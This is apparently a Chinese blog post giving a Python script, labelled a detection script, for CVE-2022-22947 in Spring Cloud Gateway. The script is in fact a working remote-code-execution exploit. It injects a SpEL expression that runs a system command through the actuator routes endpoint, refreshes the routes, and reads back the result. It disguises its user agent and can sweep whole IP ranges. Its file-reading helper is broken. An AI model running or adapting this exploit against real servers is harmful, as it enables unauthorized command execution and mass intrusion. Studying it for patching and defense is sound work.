CVE-2022-22947

Spring Cloud Gateway高危漏洞-检测脚本

import argparse
import requests,json
from IPy import IP
requests.packages.urllib3.disable_warnings


from fake_useragent import UserAgent
ua = UserAgent()
ua.update()


#定义函数检查是否有漏洞
def Ckeck_vul(target,port):
    date=json.dumps({
        "id": "test",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"tasklist\"}).getInputStream()))}"
            }
        }],
        "uri": "https://www.baidu.com"
    })
    # proxy = '192.168.1.110:1080'
    # proxies = {
    #     "http": "http://%(proxy)s/" % {'proxy': proxy},
    #     "https": "http://%(proxy)s/" % {'proxy': proxy}
    # }
    # ip=IP(target)
    # for x in ip:
    s = requests.session()
    s.keep_alive = False
    requests.DEFAULT_RETRIES = 5
    url="http://"+target+":"+port+"/actuator/gateway/routes/test"
    # print(url)
    try:
        result1=s.post(url,date,headers={"Content-Type": "application/json","User-Agent":ua.random})
        if result1.status_code==201:
                url1 = "http://" +target+":"+port+"/actuator/gateway/refresh"
                try:
                    refreshRequest=s.post(url1,headers={'Connection': 'close',"User-Agent":ua.random})
                    # print(refreshRequest.headers)
                    # print(refreshRequest.status_code)
                    if refreshRequest.status_code==200:
                        try:
                            resuitRequest = s.get(url, headers={'Connection': 'close', "User-Agent": ua.random})
                            # print(resuitRequest.text)
                            # print(resuitRequest.status_code)
                            print("success-----------"+target)
                        except requests.exceptions.ConnectionError:
                            print("get result error")
                except requests.exceptions.ConnectionError:
                    print("refresh route error")
    except requests.exceptions.ConnectionError:
            print("connection error")


#从文件中读取目标域名
def ReadUrl(filepath):
    with open(file="filepath",mod="r",encoding='utf-8') as f:
        for url in f.readlines():
            return url

if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument("-t","--t",help=("目标,默认为IP段"))
    parser.add_argument("-f","--filepath",help=("域名列表文件地址"))
    parser.add_argument("-p","--port",nargs="?",type=str,help=("端口号"),default="8080")
    parser.add_argument("-i","--ip",help=("目标ip"))
    args=parser.parse_args()
    if args.ip:
        Ckeck_vul(args.ip,args.port)
    elif args.t:
        ip=IP(args.t)
        for x in ip:
            tg=x.strFullsize()
            # print(type(tg))
            # print(tg)
            Ckeck_vul(tg,args.port)
    elif args.filepath:
        tg=ReadUrl(args.filepath)
        Ckeck_vul(tg,args.port)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值